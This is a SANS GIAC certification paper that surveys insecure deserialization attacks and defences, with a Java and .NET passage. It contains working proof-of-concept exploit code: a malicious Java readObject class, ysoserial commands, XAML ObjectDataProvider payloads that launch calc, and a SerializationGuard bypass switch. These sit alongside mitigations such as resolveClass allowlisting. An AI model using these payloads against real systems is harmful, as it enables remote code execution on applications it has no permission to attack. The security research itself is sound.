

# **Global Information Assurance Certification Paper**

# Copyright SANS Institute Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

# Interested in learning more?

Check out the list of upcoming events offering "Advanced Penetration Testing, Exploit Writing, and Ethical Hacking (Security 66 at http://www.giac.org/registration/gxpn

# Fear of the Unknown: A Metanalysis of Insecure Object Deserialization Vulnerabilities

GIAC (GXPN) Gold Certification

Author: Karim Lalji (GSE #246), karimlalji1@gmail.com Advisor: *Tanya Baccam* 

Accepted: October 08, 2020

#### Abstract

Deserialization vulnerabilities have gained significant traction in the past few years, resulting in this category of weakness taking eighth place on the OWASP Top 10. Despite the severity, deserialization vulnerabilities tend to be among the less popular application exploits discussed (Bekerman, 2020) and frequently misunderstood by security consultants and penetration testers without a development background. This knowledge discrepancy leaves adversaries with an advantage and security professionals with a disadvantage. This research will aim to demonstrate exploitation techniques using insecure deserialization on multiple platforms, including Java, .NET, PHP, and Android, to obtain a metanalysis of exploitation techniques and defensive strategies.

## 1. Introduction

Insecure deserialization is a serious application vulnerability which has led to a large number of data breaches and vulnerability disclosures. However, this vulnerability tends to be very misunderstood or even feared by security consultants and analysts without a strong development background resulting in attackers gaining the upper hand. Many exploitation tools such as Metasploit contain various exploits that take advantage of deserialization vulnerabilities in commercial software; however, these vulnerabilities can often be challenging to identify especially in custom applications rather than well-known or commercial software.

OWASP clearly states that the list of Top 10 vulnerabilities is based on industry surveys rather than quantifiable data (OWASP A8:2017-Insecure Deserialization 2017). However, the widespread acceptance of the OWASP Top 10 taxonomy along with the OWASP testing guide (OTG) indicates a reputable consensus on the vulnerabilities included within the list. Insecure deserialization isn't a new concept, but its emergence as a notable attack technique in recent years is rooted in a few contributing factors, including popularity and modern software computing architecture.

In 2017, a notable data breach related to Equifax and the successful exploitation of Apache Struts by attackers occurred through the use of insecure deserialization. While there is some debate on the primary vulnerability identifier used in this data breach, the main candidate was CVE-2017-9805 (Gielen, Apache Struts Statement on Equifax Security Breach 2017), in which an instance of XStream is used to deserialize an XML payload without sufficient type filtering resulting in remote code execution. The precise CVE identifier responsible for the data breach is less important than the underlying technique, along with the media attention given to this flaw - potentially giving rise to further research and exploitation of this vulnerability.

Additionally, modern computing architecture has moved from the classic clientserver communication into more modular architectures utilizing microservices and distributed computing technologies. In order for disparate software components within these modern architectures to function, Remote Procedure Calls (RPC) are required using

technologies such as RMI (Remote Method Invocation) in Java and .NET Remoting in Windows environments. These RPC communication methods often require objects in memory to be passed between components, resulting in the need for a serialization construct.

While serialization of objects in memory can be a necessary component of a distributed software environment, the process can easily be abused by attackers in situations where the objects desterilized from untrusted sources aren't validated correctly.

To understand how deserialization vulnerabilities are introduced into applications, and the various methods used for exploitation, it is first important to understand the use case for object serialization. Figure 1 provides an overview of a basic use case for serialization.



FIGURE 1

In the simplest terms, serialization is a memory persistence technique where dynamic objects created during application runtime can be shared across applications, databases, and networks. An object from memory is saved to a binary stream or file (such as XML or JSON) and is then passed to a different system component, which later converts the binary stream or files back into its original form as a memory object.

Further, Java appears to be one of the more popular platforms where insecure deserialization is demonstrated. The result is that a large proportion of the documentation and readily available exploits are Java-specific. While Java has received the most attention, insecure deserialization is exploitable on any language and platform that takes advantage of writing binary objects from memory into a file, database, or network connection.

This paper attempts to address the gaps in this area by showcasing insecure deserialization vulnerabilities on multiple platforms, including Java, .NET, PHP, and Android. The experimental component will be to survey the various platforms summarizing exploitation, the reliability or speed of execution, the level of access given to the attacker, potential challenges, and any well-known industry-standard tools.

# 2. Methodology

The testbed for this paper will include showcasing both a legitimate use-case for object serialization along with the components that can be abused. Demonstration of both legitimate and malicious deserialization is shown using Java, .NET, PHP, and Android. The use of multiple platforms provides a broader overview of how these weaknesses can be exploited both manually and by using third-party libraries and tools.

The legitimate use-case will demonstrate serialization and subsequent deserialization of a Student object represented by the schema shown in Figure 2.

	< <serializable>&gt;</serializable>
	Student
	-firstname: string
	-lastname: string
	-age: date
	-gpa: double
+St	udent(firstname, lastname, age, gpa)
	+ToString()
	FIGURE 2

Serialization of this simple Student object will provide the general testbed for both the use-case and abuse-case. The proof of concept exploitation technique is demonstrated manually using custom code and well-known tools where

available. The exploitation demonstration will utilize the Windows calculator to simulate remote code execution. Although the calculator is an entirely innocuous process, the same technique can execute more nefarious commands such as reverse shells or malware payloads.

The intention behind assessing different platforms is to identify patterns, similarities, and challenges in each. The hope is to provide both ethical hackers and defenders in the security community with a better understanding of insecure deserialization that is likely to exist in most environments. A secondary goal is to identify

select indicators that can better equip the defense community in detecting deserialization attacks in a platform or software agnostic manner.

# 3. Java

A majority of the documentation and vulnerability exposures related to deserialization utilize Java as the underlying programming language. Java is a widelyused programming language for small applications and large multitenant enterprise applications. Additionally, since many popular software frameworks such as Apache, Tomcat, Struts, Oracle WebLogic and JBoss use the Java programming language, various deserialization exploits have been published targeting these platforms. Since Java tends to be the most popular platform to demonstrate insecure deserialization, it will be the first example discussed, with the other platforms following a very similar process.

The baseline class used to create a simple serialized object in Java is shown in Figure 3 and is based on the UML Student diagram shown in the previous section.

```
public class Student implements Serializable {
   private static final long serialVersionUID = 1L;
   private String firstName;
   private String lastName;
   private Calendar age;
   private Double gpa;
   public Student(String firstName, String lastName, Calendar age, Double gpa) {
       super();
       this.firstName = firstName;
       this.lastName = lastName;
       this.age = age;
       this.gpa = gpa;
   }
   @Override
   public String toString() {
       SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
       String dob = formatter.format(age.getTime());
       String studentString = firstName + " " + lastName + " (" + dob + " years) - Current GPA: " + gpa;
       return studentString;
   }
}
```

#### FIGURE 2

Figure 3 shows a very simple Student class with four private member variables and a constructor that initializes the variables to the specified values at runtime. The

overridden toString() method allows the object to be easily printed to the standard output stream. Serializing a Student object is relatively trivial, and consists of creating an instance of that object followed by leveraging a Java library called ObjectOutputStream to write that object to a file as shown below in Figure 4.

```
public static void Serialize() throws Exception{
```

```
Calendar dob = Calendar.getInstance();
dob.set(1970, 1, 1);
Student student = new Student("John", "Smith", dob, 3.6);
FileOutputStream fileOutputStream = new FileOutputStream("object.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(student);
objectOutputStream.close();
}
```

FIGURE 3

The code above creates an instance of Student as John Smith, born on January 1, 1970, with a GPA of 3.6. The FileOutputStream opens the writable object.ser on the file system, and the subsequent creation of the ObjectOutputStream serializes the contents of the Student object to the filesystem. A hex dump of the serialized object in the file object.ser is shown in Figure 5.

root@kali	:~/s	sans	s#	nexo	dumm	) - (	) ob	ojec	t.se	er							
000000000	ac	ed	00	05	73	72	00	07	53	74	75	64	65	6e	74	00	srStudent.
00000010	00	00	00	00	00	00	01	02	00	04	4c	00	03	61	67	65	Lage
00000020	74	00	14	4c	6a	61	76	61	2f	75	74	69	6c	2f	43	61	[tLjava/util/Ca]
00000030	6c	65	6e	64	61	72	3b	4c	00	09	66	69	72	73	74	4e	[lendar;LfirstN]
00000040	61	6d	65	74	00	12	4c	6a	61	76	61	2f	6c	61	6e	67	ametLjava/lang
00000050	2f	53	74	72	69	6e	67	3b	4c	00	03	67	70	61	74	00	<pre>/String;Lgpat.</pre>
00000060	12	4c	6a	61	76	61	2f	6c	61	6e	67	2f	44	6f	75	62	.Ljava/lang/Doub
00000070	6c	65	Зb	4c	00	08	6c	61	73	74	4e	61	6d	65	71	00	le;LlastNameq.
00000080	7e	00	02	78	70	73	72	00	1b	6a	61	76	61	2e	75	74	<pre> ~xpsrjava.ut </pre>
00000090	69	6c	2e	47	72	65	67	6f	72	69	61	6e	43	61	6c	65	il.Greg <mark>orianCale</mark>
000000a0	6e	64	61	72	8f	3d	d7	d6	e5	b0	d0	c1	02	00	01	4a	ndar.=J
000000b0	00	10	67	72	65	67	6f	72	69	61	6e	43	75	74	6f	76	<pre>[gregorianCutov]</pre>
000000c0	65	72	78	72	00	12	6a	61	76	61	2e	75	74	69	6c	2e	<pre>[erxrjava.util.]</pre>
000000d0	43	61	6c	65	6e	64	61	72	e6	ea	4d	1e	c8	dc	5b	8e	CalendarM[.
000000e0	03	00	0b	5a	00	0c	61	72	65	46	69	65	6c	64	73	53	<pre>[Z.areFieldsS]</pre>
000000f0	65	74	49	00	0e	66	69	72	73	74	44	61	79	4f	66	57	<pre>[etIfirstDayOfW]</pre>
00000100	65	65	6b	5a	00	09	69	73	54	69	6d	65	53	65	74	5a	<pre> eekZisTimeSetZ </pre>
00000110	00	07	6c	65	6e	69	65	6e	74	49	00	16	6d	69	6e	69	lenientImini
00000120	6d	61	6c	44	61	79	73	49	6e	46	69	72	73	74	57	65	malDaysInFirstWe
00000130	65	6b	49	00	09	6e	65	78	74	53	74	61	6d	70	49	00	ekInextStampI.
									F	IGU	re 4						

The hexadecimal output in Figure 5 exists on the filesystem; however, the representation of objects transmitted across a network connection would be similar. The

first few bytes of the serialized object are particularly noteworthy, as highlighted above. The bytes of 0xACED represent the magic number used to identify the start of serialized data. The 0x0005 represents the stream protocol version, the 0x73 indicates that an object is enclosed (TC\_OBJECT), the 0x72 signals the beginning of the Class name (TC\_CLASSDESC), and the 0x0007 states the length of the class name to follow. Lastly, 53 74 75 64 65 6e 74 is a hex representation of Student, the serialized class (Oracle, Object Serialization Stream Protocol).

The function used to deserialize this object is equally simple:

```
public static void Deserialize() throws Exception{
    FileInputStream fileInputStream = new FileInputStream("object.ser");
    ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
    Student deserialize = (Student) objectInputStream.readObject();
    objectInputStream.close();
}
```

FIGURE 5

The Deserialize() function shown above is relatively straightforward but demonstrates a widespread method used to reconstruct objects from a saved state. There are a few high-risk constructs in the above code sample which requires elaboration.

The object.ser file containing the serialized Java object is read from the file system; however, it is important to note that this could be a network interface or web socket for distributed applications leveraging RPC, or an HTTP request in a Java web application. Although this code executes on the server-side, the file itself is external to the application resulting in an implicit trust relationship between the application and the location where the serialized bytes are read. Suppose this file can be manipulated by other processes on the host, or through vulnerable application functionality such as unrestricted file uploads, remote file inclusion (RFI), or even other injection attacks. In these instances, there is an opportunity to abuse this deserialization functionality to achieve remote code execution.

In addition, the readObject() function reads the bytes of the serialized object and explicitly casts it to a type of Student, which is the object the application expects. This process may appear like it meets the requirements of input validation; however, the next

section will showcase that the ObjectInputStream still allows malicious objects to be deserialized despite explicitly type-casting the object to a Student. Developers often incorrectly assume that these explicit class declarations and cast operations protect the application from code injection.

## 3.1. Exploitation

The exploitation of insecure deserialization requires the application to read an untrusted object controlled by the attacker. As discussed in the previous section, serialized object tampering is undertaken in several ways, including unrestricted file uploads, HTTP GET and POST parameters, cookies, JSON Web Tokens, and network connections, among others. Generating the malicious object can be accomplished manually by writing some simple proof of concept code or leveraging the ysoserial tool for applications that utilize additional libraries. The latter only works for well-known software, so the custom code option is demonstrated first. The ability to weaponize insecure deserialization vulnerabilities for applications that do not leverage well-known components is essential for experienced penetration testers.

The class in Figure 7, named EvilSerial for clarity, provides some simple boilerplate functionality to begin weaponizing the Deserialization() function shown previously.

```
public class EvilSerial implements Serializable {
   private static final long serialVersionUID = 1L;
   public String cmd;
   public EvilSerial(String cmd){
       this.cmd = cmd:
   }
   private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        String s = null;
        Process p = Runtime.getRuntime().exec(this.cmd);
        BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
        while ((s = stdInput.readLine()) != null) {
           System.out.println(s);
       }
   }
}
```

#### FIGURE 6

This class is similar to the original Student object; however, instead of simple demographics as member variables, the 'cmd' variable represents a command to execute

on the host. A new readObject method is then declared, which accepts an input stream as a parameter. The malicious object then creates a new runtime process and attempts to execute it using the exec() function.

The code in Figure 8 creates an instance of EvilSerial and serializes it to a file with the same name as the previous benign use-case of object.ser. Note that the command passed to this object is attempting to open the Windows calculator application.

```
public static void EvilSerialize() throws Exception{
```

```
EvilSerial vulnSerialize = new EvilSerial("calc.exe");
FileOutputStream fileOutputStream = new FileOutputStream("object.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(vulnSerialize);
objectOutputStream.close();
```

FIGURE 7

It's important to note that the attacker's system runs both the EvilSerial class and the EvilSerialize() function. This code is written, executed, and tested by the attacker without touching the vulnerable application. The purpose of these steps is to generate a malicious 'object.ser' file that can be sent to the target application for deserialization. Figure 9 shows a hex dump of the malicious file. This object also contains the starting bytes of 0xACED0005.

sans# hexdump -C object.ser 00000000 ac ed 00 05 73 72 00 0a 45 76 69 6c 53 65 72 69 ....sr..EvilSeri 00000010 61 6c 00 00 00 00 00 00 00 01 02 00 01 4c 00 03 al....L.. 00000020 63 6d 64 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 cmdt..Ljava/lang 00000030 2f 53 74 72 69 6e 67 3b 78 70 74 00 08 63 61 6c /String;xpt..cal 00000040 63 2e 65 78 65 c.exe| 00000045

FIGURE 8

As an alternative to manual code writing, applications that use well-known components such as Apache Common Collections can leverage a tool called ysoserial developed by Frohoff (github.com/frohoff/ysoserial). Ysoserial is a powerful tool allowing penetration testers to target various commercial applications or frameworks and custom applications using well-known components known as gadgets. The ysoserial tool can generate a serialized object for various gadgets, including Apache Commons

Karim Lalji (GSE #246), karimlalji1@gmail.com

}

Collections, Groovy, JBoss, Spring, Hibernate, and several others. The following command is used as an example to generate a malicious object.ser file as an alternative to the EvilSerial object instance shown previously.

```
java -jar ysoserial.jar CommonsCollections5 calc.exe > object.ser
```

This payload works since the vulnerable Java application contains a statement that loads the Apache Commons Collections libraries (a popular set of libraries), even though it is never actually used by the code. In this situation, the Commons Collections JAR's inclusion within the application's import statement is a requirement for the exploit payload to work.

```
import org.apache.commons.collections.*;
```

Figure 10 shows a subset of the resulting bytes of the object.ser file generated with the ysoserial utility, which includes the standard 0xACED0005 at the start of the file.

00000000	ac	ed	00	05	73	72	00	2e	6a	61	76	61	78	2e	6d	61	srjavax.ma
00000010	6e	61	67	65	6d	65	6e	74	2e	42	61	64	41	74	74	72	[nagement.BadAttr]
00000020	69	62	75	74	65	56	61	6c	75	65	45	78	70	45	78	63	<pre>ibuteValueExpExc </pre>
00000700	32	00	00	00	02	76	72	00	10	6a	61	76	61	2e	6c	61	2vrjava.la
00000710	6e	67	2e	4f	62	6a	65	63	74	00	00	00	00	00	00	00	ng.Object
00000720	00	00	00	00	78	70	76	71	00	7e	00	2f	73	71	00	7e	xpvq.~./sq.~
00000730	00	2b	75	72	00	13	5b	4c	6a	61	76	61	2e	6c	61	6e	[.+ur[Ljava.lan]
00000740	67	2e	53	74	72	69	6e	67	3b	ad	d2	56	e7	e9	1d	7b	g.String;V{
00000750	47	02	00	00	78	70	00	00	00	01	74	00	08	63	61	6c	[Gxptcal]
00000760	63	2e	65	78	65	74	00	04	65	78	65	63	75	71	00	7e	c.exetexecuq.~
00000770	00	32	00	00	00	01	71	00	7e	00	37	73	71	00	7e	00	[.2q.~.7sq.~.]

FIGURE 9

Both malicious object.ser files generated by the EvilSerialize() custom code, along with the ysoserial payload, resulted in a Windows calculator application launching on the destination host with the parent process of svchost.exe (Figure 11). By merely replacing the original object.ser file on the filesystem with the malicious alternatives.

cess	CPU	Private Bytes	Working Set	PID Descr	iption		Company Na	me	
wininitexe		1,416 K	908 K	800					
services.exe	< 0.01	6,140 K	7,456 K	872					
svchostexe		968 K	644 K	1020 Host P	e 14				
svchostexe	< 0.01	19,484 K	27,148 K	388 Host F	Calculato	r		- C	
StartMenuExperienceHo		40,632 K	69,052 K	11016					
dilhostexe		3,312 K	3,620 K	11032	= 5	cientifi	r		5
RuntimeBroker.exe		6,428 K	17,908 K	10600 Runtin		cicilia	~		0
RuntimeBroker.exe	< 0.01	29,528 K	53,560 K	11696 Runtin					
LockApp.exe	Suspended	14,596 K	34,824 K	10324 LockA					
RuntimeBroker.exe		9,316 K	24,952 K	10728 Runtin					0
dilhostexe		6,244 K	9,800 K	5212 COM \$					
ApplicationFrameHoste	< 0.01	40,244 K	36,264 K	12924 Applic					
WinStore App.exe	Suspended	54,228 K	668 K	11824 Store	DEG	F-E			
RuntimeBroker.exe		5,912 K	8,740 K	16380 Runtin					
WindowsInternal.Compo		11,872 K	9,420 K	18604 Windo	MC	MR	M+ N	1- MS	M.
ShellExperienceHostexe	Suspended	44,900 K	79,644 K	9780 Windo					
RuntimeBroker.exe		9,148 K	27,716 K	6824 Runtin	A Trigo	onometry 🗸	f Fur	iction 🗸	
Video ULexe	Suspended	19,192 K	7,316 K	5548					
RuntimeBroker.exe		1,832 K	4,868 K	4616 Runtin	2 <sup>nd</sup>	π		C	Ø
RuntimeBroker.exe	< 0.01	8,944 K	27,716 K	19740 Runtin	2	, n	e	C	9
HxTsr.exe	< 0.01	25,188 K	44,044 K	1896 Micros	2	1/	Lat		
SystemSettingsBroker.e		8,604 K	23,368 K	26184 System	<i>x</i> <sup><i>u</i></sup>	<sup>9</sup> x		exp	mod
OpenWith.exe		5.740 K	19,988 K	24864					
OpenWith.exe		5,452 K	19,904 K	19636	$\sqrt[2]{x}$	(	)	n!	÷
SearchULexe	0.01	168,768 K	247,960 K	29100 Searc					
unsecapp.exe		1.752 K	6,064 K	29944	$x^y$	7	8	9	X
RuntimeBroker.exe		8,196 K	26,144 K	28736 Runtin				5	
Microsoft Photos.exe	Suspended	51,612 K	51,628 K	20436	101	4		c	_
RuntimeBroker.exe		10,540 K	29,140 K	24628 Runtin	10	4	2	0	
commsapps.exe	0.46	167,796 K	185,792 K	6932 Mail a				-	
devenv.exe	0.03	2,300 K	5,440 K	33312	log	1	2	3	+
commsapps exe	Suspended	21,656 K	512 K	31888 Mail a					
YourPhone.exe	Suspended	20,396 K	11,000 K	17556 YourP	In	+/_	0		=
RuntimeBroker.exe		2,036 K	8,176 K	18164 Runtin	1000			1	
WmiPrvSE.exe		3,580 K	9,844 K	26884					
RuntimeBroker.exe		2,852 K	16,476 K	30380 Runtim	e Broker		Microsoft Corp	ooration	
Calculator.exe	< 0.01	22,576 K	66,120 K	27704					

In both cases, the following error message was displayed when attempting to cast either the EvilSerial object or the Apache Commons Collections invocation to a Student object:

```
<terminated> Launcher [Java Application] C:\Program Files\Java\jre1.8.0_161\bin\javaw.exe (28-Aug-2020 4:13:37 PM - 4:13:39 PM)
Exception in thread "main" java.lang.ClassCastException: EvilSerial cannot be cast to Student
at Launcher.Deserialize(Launcher.java:72)
at Launcher.main(Launcher.java:19)
```

Despite the error, the attack still works since the casting operation occurs after the deserialization operation completes. The code inside the Deserialize() function reads bytes from ObjectInputStream and then attempts to cast the object to a Student, which results in an exception message. Despite the application throwing an error, the execution has already taken place.

In this case, the example is a simple calculator launch; however, malicious adversaries would likely replace this with a more nefarious command chain such as a reverse shell.

#### 3.2. Defensive Strategies

As with most of the vulnerabilities of this nature, regular patching is essential. Many deserialization vulnerabilities exist in commercial off the shelf (COTS) software, mitigated by the vendor by supplying a security patch. It's imperative for security professionals to keep in mind that commercial software is written in the same languages and uses the same libraries as custom or proprietary applications. Many enterprise applications have utilized older versions of the Apache Commons Collections libraries, which are susceptible to insecure deserialization, as demonstrated in the previous section. These vulnerabilities are then remediated in the library, which the vendor upgrades, at which time a patch for the software is released.

If libraries susceptible to insecure deserialization such as Apache Commons Collections, Spring, JBoss, Groovy and Hibernate are included in custom-built software, it is important for developers to maintain an up to date knowledge of vulnerabilities introduced into third-party components. Open-source tools such as the OWASP Dependency Check and enterprise software composition analysis tools can assist in identifying vulnerable libraries and frameworks.

Several Java-specific tools and libraries exist to help detect deserialization vulnerabilities. SerialKiller by ikkisoft (github.com/ikkisoft/SerialKiller) can be included in custom code to prevent dangerous interactions with ObjectInputStream. This library replaces the native ObjectInputStream with an instance of SerialKiller, allowing the application to catch potential abuses of deserialization functionality. Another Java-based agent detection tool is NotSoSerial by kantega (github.com/kantega/notsoserial). NetSPI has also developed a scanning tool called Java Serial Killer (github.com/NetSPI/JavaSerialKiller) to assist penetration testers in detecting deserialization vulnerabilities. It can be run as a standalone tool or through the Burp extension.

Aside from external libraries and tools, developers should also be validating code to prevent deserialization attacks. This is essentially the first line of defense. One of the methods recommended by OWASP is to simply create a subclass of ObjectInputStream (assuming the use of this class is absolutely necessary in the first place), and then

override the resolveClass() method which is triggered before the readObject() method is invoked. In the case of the Student class, this implementation would appear as follows:

```
@Override
protected Class<?> resolveClass(ObjectStreamClass in)
throws IOException, ClassNotFoundException {
    if (!in.getName().equals(Student.class.getName())) {
        throw new InvalidClassException("Unauthorized deserialization attempt", in.getName());
    }
    return super.resolveClass(in);
}
```

In the example shown above, the resolveClass() method automatically gets called before the attempt to deserialize the object takes place using readObject(), and if it is not of the Student class, an exception is thrown.

Lastly, developers should take caution when blindly importing libraries, or forgetting to remove unneeded libraries imported during testing. The ysoserial payload shown in the previous section worked since there was an explicit import for the Apache Common Collections library. Without this import statement, the payload would not have worked. Additionally, it is generally a good security practice to include the full path in import statements rather than using a wildcard. The vulnerable example shown included an import for 'org.apache.commons.collections.\*', which brings all libraries under the 'collections' package into scope. If the developer only needed the MapUtils functionality, then the asterisk (\*) should be explicitly replaced with that name to avoid an unnecessarily broad scope.

# 4. .NET

Demonstrating serialization and deserialization in .NET is very similar to Java; however, the constructs are different. For simplicity, the stencil Student class is not being shown in this and future examples to avoid redundancy. The Student object is serialized

using the function shown in Figure 12 that takes advantage of BinaryFormatter, a wellknown .NET serialization gadget.

```
static void Serialize()
{
    Student student = new Student("John", "Smith", DateTime.Now, 3.5);
    FileStream fs = new FileStream("DataFile.dat", FileMode.Create);
    BinaryFormatter formatter = new BinaryFormatter();
    formatter.Serialize(fs, student);
    fs.Close();
}
```

#### FIGURE 11

The code in Figure 12 simply creates a new Student object, opens a file named DataFile.dat for writing, and then serializes the object's contents to that file. The process of deserialization is equally simple and is shown in Figure 13.

```
static void Deserialize()
{
    Object obj = null;
    FileStream fs = new FileStream("DataFile.dat", FileMode.Open);
    BinaryFormatter formatter = new BinaryFormatter();
    obj = (Object)formatter.Deserialize(fs);
    Console.WriteLine(obj.ToString());
    fs.Close();
}
```

#### FIGURE 12

The BinaryFormatter is one of the more well-known serialization mechanisms in .NET; however, it is also one of the most dangerous. The Microsoft developer documentation for BinaryFormatter contains an explicit warning about using this construct (Microsoft BinaryFormatter Security Guide 2017). Despite the warning, many legacy applications and even newer applications still use this library function, creating insecure deserialization vulnerabilities. Additionally, although the use of BinaryFormatter is discouraged due to being susceptible to insecure deserialization, other less permissive formatters can also be exploited under the right circumstances.

### 4.1. Exploitation

Like Java, a malicious serialized object can be generated manually using a secondary class created by the attacker, as shown in Figure 14. This class also spawns a new process using the System tools based on the value supplied to the 'cmd' variable:

```
public void run() {
   System.Diagnostics.Process p = new System.Diagnostics.Process();
   p.StartInfo.FileName = this.cmd;
   p.Start();
   p.Dispose();
}
FIGURE 13
```

In this case, the malicious object is serialized to a file called EvilDataFile.dat while the original Student object is serialized to a file called DataFile.dat for easy comparison:

00000000000000	0001	0000	00ff	ffff	ff01	0000	0000	0000		000000000	0001	0000	00ff	ffff	ff01	0000	0000	0000	
00000010:	000c	0200	0000	4e49	6e73	6563	7572	6544	NIns	00000010:	000c	0200	0000	4e49	6e73	6563	7572	6544	NIns
00000020:	6573	6572	6961	6c69	7a61	7469	6f6e	2c20	eserializa	00000020:	6573	6572	6961	6c69	7a61	7469	6f6e	2c20	eserializa
00000030:	5665	7273	696f	6e3d	312e	302e	302e	302c	Version=1.	00000030:	5665	7273	696f	6e3d	312e	302e	302e	302c	Version=1.
00000040:	2043	756c	7475	7265	3d6e	6575	7472	616c	Culture=n	00000040:	2043	756c	7475	7265	3d6e	6575	7472	616c	Culture=n
00000050:	2c20	5075	626c	6963	4b65	7954	6f6b	656e	, PublicKe	00000050:	2c20	5075	626c	6963	4b65	7954	6f6b	656e	, PublicKe
00000060:	3d6e	756c		0100	0000		6e73								0000	2249	6e73	6563	
00000070:	7572	6544	6573	6572	6961	6c69	7a61	7469	ureDeseria	00000070:	7572	6544	6573	6572	6961	6c69	7a61	7469	ureDeseria
00000080:	6f6e		7475	6465	6e74	0400									6572	6961	6c01	0000	on.EvilSer
00000090:	6972	7374	4e61		086c	6173	744e	616d		00000090:		636d	6401	0200	0000	0603	0000	0008	
000000a0:	6503	6167		6770	6101	0100		0602			6361								
000000b0:																			
000000c0:																			
00000040.																			

FIGURE	14
--------	----

A binary diff of these two files, displayed in Figure 15, shows that the first several bytes are the same until either the Student object or the calc.exe process is defined. When the same Deserialize() function shown previously in Figure 13 is used against the saved EvilDataFile.dat, a Windows calculator app is spawned under svchost.exe process, resulting in the calculator remaining open even after the .NET console application is closed.

Similar to the example shown with Java, a ysoseral.net tool was created by pwntester (github.com/pwntester/ysoserial.net) to generate payloads used for exploiting deserialization vulnerabilities on the .NET platform. The payload generator works very similarly to the Java version supporting several gadgets, plugins, and formatters that can be tailored depending on the victim application's programming constructs. The following command generates a payload which exploits systems that leverage PowerShell remoting (PSObject) and uses the BinarryFormatter within the code. The command creates a

Base64 output that could also be binary using (-o raw) depending on the input the application expects.

#### ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc"

The above command returns a long Base64 encoded string, which can be submitted to the vulnerable application. An excerpt of the decoded Base64 string is shown below in Figure 16:

_System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35%System.Management.Automation.PSObjectCliXml0 <objs version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">6#xD;</objs>
<pre>&lt;0bj Refld="0"&gt;
</pre>
<tn refid="0"> </tn>
<t>Microsoft.Management.Infrastructure.CimInstance#System.Management.Automation/RunspaceInvoke5</t>
<t>Microsoft.Management.Infrastructure.CimInstance#RunspaceInvoke5</t>
<t>Microsoft.Management.Infrastructure.CimInstance</t>
<t>System.Object</t>
<tostring>RunspaceInvoke5</tostring>
<0bj RefId="1">
<tnref refid="0"></tnref>
<tostring>RunspaceInvoke5</tostring>
<props> </props>
<nil n="PSComputerName"></nil>
<obj n="test1" refid="20"> </obj>
<tn refid="1"> </tn>
<pre><t>System.Windows.Markup.XamlReader[], PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</t>
</pre>
<t>System.Array</t>
<t>System.Object</t>
<lst> </lst>
<s n="Hash"></s>
<resourcedictionary< td=""></resourcedictionary<>
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<objectdataprovider methodname="Start" objecttype="{ x:Type Diag:Process}" x:key=""></objectdataprovider>
& <u>lt;ObjectDataProvider.MethodParameters&gt;</u>
<system:string>cmd</system:string>
<:Svstem:Strina&at:"/c calc" <:/Svstem:Strina&at:

FIGURE 15

This output showcases that the previous command generated a large XML

payload, which was then Base64 encoded. Figure 17 shows a payload generated using the ObjectDataProvider gadget, and the Json.Net formatter:



Similarly, Figure 18 shows a payload targeting XML processing:

<pre>string cmd = "calc";</pre>
<pre>string payload = @"<resourcedictionary< pre=""></resourcedictionary<></pre>
<pre>xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""</pre>
<pre>xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""</pre>
<pre>xmlns:System=""clr-namespace:System;assembly=mscorlib""</pre>
<pre>xmlns:Diag=""clr-namespace:System.Diagnostics:assembly=system""&gt;</pre>
<objectdataprovider diag:process}"="" launchcalc"="" methodname="" objecttype="" start"="" x:key="" x:type="" {=""></objectdataprovider>
<objectdataprovider.methodparameters></objectdataprovider.methodparameters>
<pre><pre><pre><pre><pre><pre><pre><pre></pre></pre></pre></pre></pre></pre></pre></pre>
<system:string>/c """ + cmd + @""" </system:string>
";
Figure 17

These various payloads showcase how serialized data can be ingested through different sources and formats. Despite binary objects being the most common use cases, other formats such as JSON and XML are becoming increasingly popular. For the most part, generic data formats such as XML and JSON, are more secure than binary serialization. (Forshaw, Are you my type? Breaking .NET Through Serialization 2012); However, these methods are still susceptible to attack without applying sufficient validation to both the provided data and the type definitions.

## 4.2. Defensive Strategies

Several defensive strategies can be applied to avoid deserialization vulnerabilities in .NET. Similar to Java, a regular patching cycle is quite important to prevent deserialization vulnerabilities from getting introduced into applications using commercial software. For example, the PSObject deserialization payload generated previously takes advantage of CVE-2017-8565, which Microsoft patched.

Newer versions of the .NET framework also include built-in protections against some deserialization functions that attempt to start new processes using a SerializationGuard (Brown, API Proposal: Serialization Guard · Issue #28406 · dotnet/runtime 2019). SerializationGuard is enabled by default and needs to explicitly include code to allow process creation using an AppContext switch. The EvilSerial example discussed in the previous section resulted in the exception shown in Figure 19 being thrown at runtime before this setting was changed.



FIGURE 18

The error message above was mitigated by explicitly adding the following code just above the call to p.Start().

#### AppContext.SetSwitch("Switch.System.Runtime.Serialization.Serialization Guard.AllowProcessCreation", true);

Although the framework natively protects against process creation in the deserialization workflow, many systems are likely running older .NET versions. In addition, legacy applications that rely on internal Windows components may inadvertently allow insecure deserialization to achieve backward compatibility.

.NET has fewer options in terms of runtime detection when compared to a language such as Java. However, developers can be mindful of the functions used by an application. Microsoft's developer documentation clearly states that the BinaryFormatter is dangerous and should be used with caution (Microsoft BinaryFormatter Security Guide 2017). Microsoft also recommends using more secure alternatives such as XMLSerializer and DataContractSerializer as they do not natively accept arbitrary types. In other words, there is some degree of type binding and explicit limitations in these constructs. However, if not implemented correctly, even safer alternatives could be susceptible to attack if the attacker can influence the data type or class name. The following code provides a simplified example of how this can happen (Polop, HackTricks Deserialization):

```
var typename = GetTransactionTypeFromDatabase();
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
